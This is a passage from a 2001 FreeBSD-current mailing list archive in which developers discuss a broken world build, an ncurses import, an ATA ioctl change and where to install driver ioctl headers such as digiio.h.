Makefiles. > Once that is done, it should be ok. Unless I have missed something, it should be all clear. I'm about to rerun a build from fresh sources. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 2:18:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from lists01.iafrica.com (lists01.iafrica.com [196.7.0.141]) by hub.freebsd.org (Postfix) with ESMTP id E2A8E37B424 for ; Thu, 17 May 2001 02:18:23 -0700 (PDT) (envelope-from sheldonh@uunet.co.za) Received: from nwl.fw.uunet.co.za ([196.31.2.162]) by lists01.iafrica.com with esmtp (Exim 3.12 #2) id 150JvI-0003SN-00; Thu, 17 May 2001 11:18:20 +0200 Received: (from nobody@localhost) by nwl.fw.uunet.co.za (8.8.8/8.6.9) id LAA21074; Thu, 17 May 2001 11:18:19 +0200 (SAST) Received: by nwl.fw.uunet.co.za via recvmail id 20762; Thu May 17 11:17:10 2001 Received: from sheldonh (helo=axl.fw.uunet.co.za) by axl.fw.uunet.co.za with local-esmtp (Exim 3.22 #1) id 150JuA-000DOi-00; Thu, 17 May 2001 11:17:10 +0200 To: Michael Harnois Cc: freebsd-current@freebsd.org Subject: Re: world broken yet again In-reply-to: Your message of "16 May 2001 20:47:05 EST." <86vgn0px0m.fsf@mharnois.workgroup.net> Date: Thu, 17 May 2001 11:17:10 +0200 Message-ID: <51503.990091030@axl.fw.uunet.co.za> From: Sheldon Hearn Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 16 May 2001 20:47:05 EST, Michael Harnois wrote: > cc -O2 -fno-strength-reduce -pipe -march=pentiumpro -DHAS_CGETENT -DENCRYPTION -DDES_ENCRYPTION -DAUTHENTICATION -DSRA -I/usr/src/secure/lib/libtelnet/../../../crypto/telnet -I/usr/obj/usr/src/i386/usr/include -c /usr/src/secure/lib/libtelnet/../../../crypto/telnet/libtelnet/pk.c -o pk.o You're not supposed to report errors with world and kernel if you're using non-standard optimizations. See /etc/defaults/make.conf: # CFLAGS controls the compiler settings used when compiling C code. # Note that optimization settings above -O (-O2, ...) are not recommended # or supported for compiling the world or the kernel - please revert any # nonstandard optimization settings to "-O" before submitting bug reports # to the developers. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 3:16: 3 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 08EC537B422; Thu, 17 May 2001 03:15:52 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id UAA30645; Thu, 17 May 2001 20:15:39 +1000 Date: Thu, 17 May 2001 20:14:10 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Warner Losh Cc: Brian Somers , Ruslan Ermilov , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 In-Reply-To: <200105161641.f4GGfJN79939@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 May 2001, Warner Losh wrote: > In message <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> Brian Somers writes: > : How should this be done - and where should I install digiio.h if > : that's what's required ? > > I think that ppi device sets the standard here. It installs into > /usr/include/dev/ppi/ppi*.h. digiio should likely do the same. Ugh. ppi (actually ppbus) sets a bad example. A /usr/include/dev tree with an average of 1+epsilon files per directory is even worse than a /sys/dev tree with an average of about 3 files per directory (not counting 4 CVS files per directory). ppbus actually installs a lot of kernel-only headers so /sys/dev/ppbus is not all that small. Most headers that define ioctls are in . I think there should be at most one directory for ioctl headers and it shouldn't be a subdir of /usr/include/sys (/usr/include/sys/dev doesn't even reflect the kernel tree). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 3:31:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id EA5F837B424 for ; Thu, 17 May 2001 03:31:23 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.11.3/8.11.3) id f4HAVNW43217 for current@freebsd.org; Thu, 17 May 2001 12:31:23 +0200 (CEST) (envelope-from sos) From: S�ren Schmidt Message-Id: <200105171031.f4HAVNW43217@freebsd.dk> Subject: HEADS UP ata ioctls changed To: current@freebsd.org Date: Thu, 17 May 2001 12:31:22 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL88 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The ioctl to the ata driver has changed a bit, please make sure your kernel and userland are in sync. -S�ren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 4:13: 2 2001 Delivered-To: freebsd-current@freebsd.org Received: from henny.webweaving.org (gate.qubesoft.com [212.113.16.243]) by hub.freebsd.org (Postfix) with ESMTP id EAFD637B422 for ; Thu, 17 May 2001 04:12:58 -0700 (PDT) (envelope-from n_hibma@FreeBSD.ORG) Received: from localhost (localhost [127.0.0.1]) by henny.webweaving.org (8.11.3/8.11.3) with ESMTP id f4HBCjH69483; Thu, 17 May 2001 12:12:45 +0100 (BST) (envelope-from n_hibma@FreeBSD.ORG) Date: Thu, 17 May 2001 12:12:45 +0100 (BST) From: X-X-Sender: To: =?US-ASCII?Q?S=F8ren_Schmidt?= Cc: Subject: Re: HEADS UP ata ioctls changed In-Reply-To: <200105171031.f4HAVNW43217@freebsd.dk> Message-ID: <20010517121239.B69121-100000@henny.webweaving.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Which ports break? Nick On Thu, 17 May 2001, S=F8ren Schmidt wrote: > > The ioctl to the ata driver has changed a bit, please > make sure your kernel and userland are in sync. > > -S=F8ren > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > --=20 The USB for FreeBSD project. n_hibma@FreeBSD.ORG http://www.etla.net/~n_hibma/usb/usb.pl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 4:15:37 2001 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (fw-rl0.freebsd.dk [212.242.86.114]) by hub.freebsd.org (Postfix) with ESMTP id 3A68F37B423; Thu, 17 May 2001 04:15:35 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.11.3/8.11.3) id f4HBFYT53590; Thu, 17 May 2001 13:15:34 +0200 (CEST) (envelope-from sos) From: S�ren Schmidt Message-Id: <200105171115.f4HBFYT53590@freebsd.dk> Subject: Re: HEADS UP ata ioctls changed In-Reply-To: <20010517121239.B69121-100000@henny.webweaving.org> "from n_hibma@FreeBSD.ORG at May 17, 2001 12:12:45 pm" To: n_hibma@FreeBSD.ORG Date: Thu, 17 May 2001 13:15:34 +0200 (CEST) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL88 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems n_hibma@FreeBSD.ORG wrote: >Which ports break? There are no other consumers (AFAIK) than atacontrol (yet) -S�ren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 4:35:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from c1030098-a.wtrlo1.ia.home.com (c1030098-a.wtrlo1.ia.home.com [24.6.200.230]) by hub.freebsd.org (Postfix) with ESMTP id 8D4D337B422 for ; Thu, 17 May 2001 04:35:22 -0700 (PDT) (envelope-from mdharnois@home.com) Received: by c1030098-a.wtrlo1.ia.home.com (Postfix, from userid 1001) id D5DB814A08; Thu, 17 May 2001 06:36:03 -0500 (CDT) To: freebsd-current@freebsd.org Subject: Re: world broken yet again References: <51503.990091030@axl.fw.uunet.co.za> From: Michael Harnois Date: 17 May 2001 06:36:01 -0500 In-Reply-To: <51503.990091030@axl.fw.uunet.co.za> (Sheldon Hearn's message of "Thu, 17 May 2001 11:17:10 +0200") Message-ID: <86ae4cp5r2.fsf@mharnois.workgroup.net> Lines: 12 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 17 May 2001 11:17:10 +0200, Sheldon Hearn said: > You're not supposed to report errors with world and kernel if > you're using non-standard optimizations. Are you telling me this error had something to do with optimizations? -- Michael D. Harnois mdharnois@home.com Redeemer Lutheran Church Washburn, Iowa "Everyone thinks of changing the world, but no one thinks of changing himself." -- Leo Nikolaevich Tolstoy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 4:44: 7 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id C187E37B423; Thu, 17 May 2001 04:43:58 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4HBhfP00679; Thu, 17 May 2001 12:43:41 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4HBheb62040; Thu, 17 May 2001 12:43:40 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105171143.f4HBheb62040@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Bruce Evans Cc: Warner Losh , Brian Somers , Ruslan Ermilov , Maxim Sobolev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org, brian@Awfulhak.org Subject: Re: cvs commit: src Makefile.inc1 In-Reply-To: Message from Bruce Evans of "Thu, 17 May 2001 20:14:10 +1000." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 17 May 2001 12:43:40 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Wed, 16 May 2001, Warner Losh wrote: > > > In message <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> Brian Somers writes: > > : How should this be done - and where should I install digiio.h if > > : that's what's required ? > > > > I think that ppi device sets the standard here. It installs into > > /usr/include/dev/ppi/ppi*.h. digiio should likely do the same. > > Ugh. ppi (actually ppbus) sets a bad example. A /usr/include/dev > tree with an average of 1+epsilon files per directory is even worse > than a /sys/dev tree with an average of about 3 files per directory > (not counting 4 CVS files per directory). ppbus actually installs a > lot of kernel-only headers so /sys/dev/ppbus is not all that small. > > Most headers that define ioctls are in . I think there should > be at most one directory for ioctl headers and it shouldn't be a subdir > of /usr/include/sys (/usr/include/sys/dev doesn't even reflect the > kernel tree). Well, now we know what it shouldn't be :*0 I've created /usr/include/dev/digi/digiio.h pending any better suggestions. > Bruce -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 5: 5:40 2001 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id 0BF1D37B422 for ; Thu, 17 May 2001 05:05:37 -0700 (PDT) (envelope-from ache@nagual.pp.ru) Received: (from ache@localhost) by nagual.pp.ru (8.11.3/8.11.3) id f4HC5JO44462; Thu, 17 May 2001 16:05:19 +0400 (MSD) (envelope-from ache) Date: Thu, 17 May 2001 16:05:17 +0400 From: "Andrey A. Chernov" To: Peter Wemm Cc: current@FreeBSD.ORG Subject: Re: HEADS UP; new ncurses! Message-ID: <20010517160516.A43931@nagual.pp.ru> References: <20010517082138.593713811@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010517082138.593713811@overcee.netplex.com.au>; from peter@wemm.org on Thu, May 17, 2001 at 01:21:38AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 01:21:38 -0700, Peter Wemm wrote: > Import in progress. This will take a little while to complete, so any > cvsups right at the wrong time (ie: in the next hour or so) will not > survive a make world. I need to make some changes to the Makefiles. > Once that is done, it should be ok. Thanx!!!!!!!!!!!!!!!!! -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 5:11:29 2001 Delivered-To: freebsd-current@freebsd.org Received: from casimir.physics.purdue.edu (casimir.physics.purdue.edu [128.210.146.111]) by hub.freebsd.org (Postfix) with ESMTP id E4CEB37B424 for ; Thu, 17 May 2001 05:11:26 -0700 (PDT) (envelope-from will@physics.purdue.edu) Received: by casimir.physics.purdue.edu (Postfix, from userid 1000) id 6C07118A47; Thu, 17 May 2001 07:11:16 -0500 (EST) Date: Thu, 17 May 2001 07:11:16 -0500 From: Will Andrews To: Michael Harnois Cc: freebsd-current@FreeBSD.ORG Subject: Re: world broken yet again Message-ID: <20010517071116.C26877@casimir.physics.purdue.edu> Reply-To: Will Andrews References: <51503.990091030@axl.fw.uunet.co.za> <86ae4cp5r2.fsf@mharnois.workgroup.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.15i In-Reply-To: <86ae4cp5r2.fsf@mharnois.workgroup.net>; from mdharnois@home.com on Thu, May 17, 2001 at 06:36:01AM -0500 X-Operating-System: Linux 2.2.18 sparc64 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 06:36:01AM -0500, Michael Harnois wrote: > Are you telling me this error had something to do with optimizations? No. But they can affect compiles in bizarre ways (believe me, in the four years that I've compiled world, I've seen several). If you compile with optimizations, you need to be wary of any failed buildworlds your machine gives. If you are compiling a world that you KNOW works, and optimizations give a problem, then you have a bona fide optimization problem. Sometimes it's correctable, sometimes not. However, in this case, you ran into a bona fide breakage. It was fixed awhile ago, so re-cvsup and re-make world. :) -- wca To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 5:11:51 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 954A537B423; Thu, 17 May 2001 05:11:37 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4HBv5x60677; Thu, 17 May 2001 14:57:05 +0300 (EEST) (envelope-from ru) Date: Thu, 17 May 2001 14:57:05 +0300 From: Ruslan Ermilov To: Bruce Evans Cc: Warner Losh , Brian Somers , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010517145705.D55371@sunbay.com> Mail-Followup-To: Bruce Evans , Warner Losh , Brian Somers , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org References: <200105161641.f4GGfJN79939@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from bde@zeta.org.au on Thu, May 17, 2001 at 08:14:10PM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 08:14:10PM +1000, Bruce Evans wrote: > On Wed, 16 May 2001, Warner Losh wrote: > > > In message <200105161632.f4GGWIb30517@hak.lan.Awfulhak.org> Brian Somers writes: > > : How should this be done - and where should I install digiio.h if > > : that's what's required ? > > > > I think that ppi device sets the standard here. It installs into > > /usr/include/dev/ppi/ppi*.h. digiio should likely do the same. > > Ugh. ppi (actually ppbus) sets a bad example. A /usr/include/dev > tree with an average of 1+epsilon files per directory is even worse > than a /sys/dev tree with an average of about 3 files per directory > (not counting 4 CVS files per directory). ppbus actually installs a > lot of kernel-only headers so /sys/dev/ppbus is not all that small. > > Most headers that define ioctls are in . I think there should > be at most one directory for ioctl headers and it shouldn't be a subdir > of /usr/include/sys (/usr/include/sys/dev doesn't even reflect the > kernel tree). > Might I guess it should probably be called /usr/include/sys/io[ctl], and digiio.h put there. -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 5:34: 2 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 5D8F937B424; Thu, 17 May 2001 05:33:46 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4HCXiP00913; Thu, 17 May 2001 13:33:44 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4HCXhb62786; Thu, 17 May 2001 13:33:43 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Bruce Evans , Warner Losh , Brian Somers , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: Message from Ruslan Ermilov of "Thu, 17 May 2001 14:57:05 +0300." <20010517145705.D55371@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 17 May 2001 13:33:43 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Most headers that define ioctls are in . I think there should > > be at most one directory for ioctl headers and it shouldn't be a subdir > > of /usr/include/sys (/usr/include/sys/dev doesn't even reflect the > > kernel tree). > > > Might I guess it should probably be called /usr/include/sys/io[ctl], > and digiio.h put there. Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd spell digiio.h /usr/include/sys/digi_io.h. -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 5:41:40 2001 Delivered-To: freebsd-current@freebsd.org Received: from c1030098-a.wtrlo1.ia.home.com (c1030098-a.wtrlo1.ia.home.com [24.6.200.230]) by hub.freebsd.org (Postfix) with ESMTP id A77AB37B422 for ; Thu, 17 May 2001 05:41:37 -0700 (PDT) (envelope-from mdharnois@home.com) Received: by c1030098-a.wtrlo1.ia.home.com (Postfix, from userid 1001) id 25A9B14A08; Thu, 17 May 2001 07:42:25 -0500 (CDT) To: Will Andrews Cc: freebsd-current@FreeBSD.ORG Subject: Re: world broken yet again References: <51503.990091030@axl.fw.uunet.co.za> <86ae4cp5r2.fsf@mharnois.workgroup.net> <20010517071116.C26877@casimir.physics.purdue.edu> From: Michael Harnois Date: 17 May 2001 07:42:24 -0500 In-Reply-To: <20010517071116.C26877@casimir.physics.purdue.edu> (Will Andrews's message of "Thu, 17 May 2001 07:11:16 -0500") Message-ID: <8666f0p2of.fsf@mharnois.workgroup.net> Lines: 21 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 17 May 2001 07:11:16 -0500, Will Andrews said: > On Thu, May 17, 2001 at 06:36:01AM -0500, Michael Harnois wrote: >> Are you telling me this error had something to do with >> optimizations? > No. My point is that I knew that. > However, in this case, you ran into a bona fide breakage. It was > fixed awhile ago, so re-cvsup and re-make world. :) I knew that too. However, it had not been fixed at the time I reported the problem. -- Michael D. Harnois mdharnois@home.com Redeemer Lutheran Church Washburn, Iowa "Everyone thinks of changing the world, but no one thinks of changing himself." -- Leo Nikolaevich Tolstoy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 8:51:23 2001 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 8C55037B423; Thu, 17 May 2001 08:51:13 -0700 (PDT) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (billy-club.village.org [10.0.0.3]) by rover.village.org (8.11.3/8.11.3) with ESMTP id f4HFpA631508; Thu, 17 May 2001 09:51:10 -0600 (MDT) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (localhost [127.0.0.1]) by billy-club.village.org (8.11.2/8.8.3) with ESMTP id f4HFrkl05377; Thu, 17 May 2001 09:53:46 -0600 (MDT) Message-Id: <200105171553.f4HFrkl05377@billy-club.village.org> To: Brian Somers Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) Cc: Bruce Evans , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Thu, 17 May 2001 13:33:43 BST." <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> References: <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Date: Thu, 17 May 2001 09:53:45 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Brian Somers writes: : Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd : spell digiio.h /usr/include/sys/digi_io.h. We're not solaris :-). BSD traditionally spells things fooio.h for driver foo. FreeBSD changed the traditional place for devices, so one could argue for both /usr/include/sys/dev/foo/fooio.h or for /usr/include/sys/fooio.h. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 8:57:51 2001 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 71AE737B422; Thu, 17 May 2001 08:57:45 -0700 (PDT) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (billy-club.village.org [10.0.0.3]) by rover.village.org (8.11.3/8.11.3) with ESMTP id f4HFvi631532; Thu, 17 May 2001 09:57:44 -0600 (MDT) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (localhost [127.0.0.1]) by billy-club.village.org (8.11.2/8.8.3) with ESMTP id f4HG0Pl05438; Thu, 17 May 2001 10:00:25 -0600 (MDT) Message-Id: <200105171600.f4HG0Pl05438@billy-club.village.org> To: Brian Somers Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) Cc: Bruce Evans , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Thu, 17 May 2001 13:33:43 BST." <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> References: <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Date: Thu, 17 May 2001 10:00:25 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Brian Somers writes: : Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd : spell digiio.h /usr/include/sys/digi_io.h. Actually, the more I think about it, the more I like putting it in /usr/include/sys/fooio.h. We have lots of other files there now. The down side to this approach is that it breaks up the driver sources that we've been trying to concentrate into sys/dev/foo/* (or introduces asymetry such that you can't just toss in a -I/sys and have the same tree that gets stuck under /usr/include). Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 9:38: 9 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 544E437B422; Thu, 17 May 2001 09:37:57 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4HGbtP02139; Thu, 17 May 2001 17:37:55 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4HGbsb65668; Thu, 17 May 2001 17:37:54 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105171637.f4HGbsb65668@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Warner Losh Cc: Brian Somers , Bruce Evans , cvs-all@FreeBSD.org, current@FreeBSD.org, freebsd-arch@FreeBSD.org Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) In-Reply-To: Message from Warner Losh of "Thu, 17 May 2001 10:00:25 MDT." <200105171600.f4HG0Pl05438@billy-club.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 17 May 2001 17:37:54 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [cc'd to -arch and not to cvs-committers] For anyone that's reading -arch and hasn't seen this on -current, the thread is discussing userland sources that have -I../../sys in their Makefile and then #include . I think everyone agrees that these headers should be made public, the question is ``where to put them ?''. Warner wrote: > In message <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Brian > Somers writes: > : Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd > : spell digiio.h /usr/include/sys/digi_io.h. > > Actually, the more I think about it, the more I like putting it in > /usr/include/sys/fooio.h. We have lots of other files there now. The > down side to this approach is that it breaks up the driver sources > that we've been trying to concentrate into sys/dev/foo/* (or > introduces asymetry such that you can't just toss in a -I/sys and have > the same tree that gets stuck under /usr/include). The SHARED variable in src/include/Makefile makes this side of things tricky too - we've got to be careful that we either keep our sources together and maintain a resemblance of the hierarchy in /usr/include or split our sources. When I was working on Solaris I found it better to have the *io.h files in sys (separate from the driver) as it made it very clear that it was a public interface - the driver lived somewhere that just got built into a module and wasn't seen by the outside world. So I think I'd tend to vote (FWIW) for moving digiio.h (and other similar things) out of sys/dev// and into sys/sys/. Comments ? -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 9:44:14 2001 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 09D7037B423 for ; Thu, 17 May 2001 09:44:11 -0700 (PDT) (envelope-from robert@fledge.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.3/8.11.3) with SMTP id f4HGi5f20847 for ; Thu, 17 May 2001 12:44:05 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Thu, 17 May 2001 12:44:05 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: current@FreeBSD.org Subject: current.FreeBSD.org: package building? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The last package build on current.FreeBSD.org seems to be from March 26th. Is there any chance we could get an updated package build for -CURRENT? Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 9:55:41 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua 